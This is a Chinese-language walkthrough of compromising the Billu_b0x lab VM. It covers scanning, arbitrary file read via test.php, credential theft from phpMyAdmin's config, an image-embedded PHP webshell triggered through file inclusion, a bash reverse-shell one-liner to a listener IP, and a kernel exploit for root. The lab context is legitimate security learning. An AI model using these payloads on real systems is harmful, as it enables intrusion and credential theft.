一次Billu_b0x滲透學習

一次Billu_b0x滲透學習

這次的Billu_b0x靶場應該說是學習經驗,按照大神的流程走了一遍,中間各種掃盲,和學習思路,現在把整體的思路和過程梳理一下。

一、發現IP

虛擬機打開,按照規則所說,NAT模式,沒有發現IP
在這裏插入圖片描述
於是ifconfig,找到vmnet8的C段,這裏就是虛擬機存在的網段。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-dMlQzeIh-1571210696741)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016104516252.png)]
nmap -sP 172.16.230.1/24
nmap -sP 是掃描這個C段對ping進行迴應的主機,/24 = 255.255.255.0,子網掩碼

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-UaGL4DUK-1571210696742)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016104543526.png)]找到ip爲172.16.230.151

二、信息收集

nmap -sV -sC -A -Pn -oN 172.16.230.151.txt 172.16.230.151
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-imrnb0gg-1571210696746)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016104622197.png)]
ssh和80web端口是開着的。

打開網頁目錄掃描

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-aVpGBwSR-1571210696750)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016104719204.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-TMurTIer-1571210696754)(/Users/liyang/Library/Application Support/typora-user-images/image-20191012113756970.png)]

  • in.php
  • show.php
  • add.php
  • index.php
  • phpmy(字典沒掃出來,字典強大還是很重要哇)
in.php show.php add.php index.php c.php phpmy
phpinfo界面 登錄界面 文件上傳界面 同登錄界面 無界面 phpMyAdmin

三、初探

  • phpmy是phpMyAdmin界面。

  • 主頁提示show me your SQLI skills,sqlfuzz字典+burp了一波,發現注入不了,要是有不同的錯誤回顯還好些,SQL注入我是放棄了。

  • add.php有文件上傳,但是抓包發現沒有回顯文件地址,故也沒走通。

  • test.php發現有提示
    在這裏插入圖片描述

file暗指文件包含?

GET 方式傳參file

GET /test.php?file=/etc/passwd HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

無反應

POST 方式傳參file

burp直接 change Method

POST /test.php HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

file=/etc/passwd

返回

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-4kBa52sO-1571210696764)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016110057094.png)]

這裏可以看到,root和ica用戶擁有shell權限。

我們感興趣的頁面源碼是不是都可以拿下來?

  • c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

?>
  • index.php
<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
	
}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
	   echo "You are allowed<br>";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	   
	 header('Location: panel.php', true, 302);
   
}
else
{
	echo "<script>alert('Try again');</script>";
}
	
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>
  • add.php
<?php


echo '<form  method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name=image>
	<input type=text name=name value="name">
	<input type=text name=address value="address">
	<input type=text name=id value=1337 >
    <input type="submit" value="upload" name="upload">
</form>';



?>

好了,就不一一列出來了。

四、兩種方式拿到root

一、phpmyadmin配置文件

前面已經有任意文件下載的問題,phpmyadmin默認配置文件config.inc.php

猜測目錄可能在/var/www/phpmy/config.inc.php

POST /test.php HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

file=/var/www/phpmy/config.inc.php

結果

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gze4gHGY-1571210696766)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016111535054.png)]

使用rootroottoor進行ssh登陸

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-zmTtVCjg-1571210696770)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016111637024.png)]

實驗結束。

二、常規滲透

1、登入後臺

注意到c.php,有mysql的連接祕鑰billub0x_billu嘗試登陸phpmy後臺

看到了這個網站的數據庫結構,使用auth下的賬號登陸index.php

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-iP5ftrLr-1571210696771)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016111750558.png)]

成功登錄界面

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-GMMYdzWt-1571210696773)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016111832680.png)]

這裏AddUser功能有上傳文件,當然是做了限制的,但是我們有源碼可以進行審計。

2、代碼審計

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3kIXvWgH-1571210696778)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016112100176.png)]

好的,沒有對傳入的參數進行過濾,存在任意文件包含。

3、圖片馬+本地文件包含拿到cmdshell

可以想到圖片馬+任意文件包含拿到cmdShell

我們看看continue哪些參數我們可控。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-T2Urry1q-1571210696780)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016112259448.png)]

load直接作爲參數$choice在include中被包含,那我直接將load改爲圖片馬的路徑,不就可以解析圖片馬了麼。

OK,我們上傳正常的圖片上去,在圖片數據流最後,加入

<?php system($_GET['cmd']);?>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Zon2XJfN-1571210696786)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016112830210.png)]

這是我們上傳的圖片地址/uploaded_images/j.jpg。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-q0Dbjfgi-1571210696789)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016113046379.png)]

點擊continue轉包,將GET後的參數改爲cmd=cat%20/etc/passwd;ls爲圖片馬提供參數,將post中的body改爲load=/uploaded_images/j.jpg&continue=continue包含我們的圖片馬目錄

POST /panel.php?cmd=cat%20/etc/passwd;ls HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Referer: http://172.16.230.151/panel.php
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1

load=/uploaded_images/j.jpg&continue=continue

返回,圖片馬被觸發成功。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-nxafxSyi-1571210696790)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016113327508.png)]

4、反彈shell

echo "bash -i >& /dev/tcp/192.168.31.237/4444 0>&1" | bash

命令解釋:

bash -i : bash是Linux下一個常見的shell,-i參數表示產生一個交互式的shell

/dev/tcp/192.168.175.134/8080 : /dev/tcp|udp/ip/port是一個Linux中比較特殊的一個文件,如果在Linux上訪問就會發現這個文件並不存在,其含義是讓主機與目標主機ip在端口port建立一個tcp或udp連接

0>&1:將標準輸入0輸出重定向至標準輸出1。或者可以這麼理解,將標準輸入0和標準輸出1合併,在重定向至1,因爲前面已經將標準輸出1重定向至/dev/tcp/192.168.175.134/8080,所以現在標準輸入0和標準輸出1都指向/dev/tcp/192.168.175.134/8080

至於echo 和 | bash是代表什麼意思,我就不太清楚了,有知道的表哥可以告知下!

echo "bash -i >& /dev/tcp/172.16.1.75/4444 0>&1" | bash進行URL編碼,作爲cmd參數傳入

本地nc -lvp 4444監聽反彈來的shell。

uploaded_images目錄我們擁有讀寫執行權限的目錄

5、提權

uname -a找到對應liunx版本

https://www.exploit-db.com/exploits/37292/

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-svnjWX7X-1571210696803)(/Users/liyang/Library/Application Support/typora-user-images/image-20191016150613653.png)]

拿到root

五、總結

信息收集很重要!所有的信息都要留意,切不能悶頭無腦擼站。如果沒有test.php的提示,就很難有突破點

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章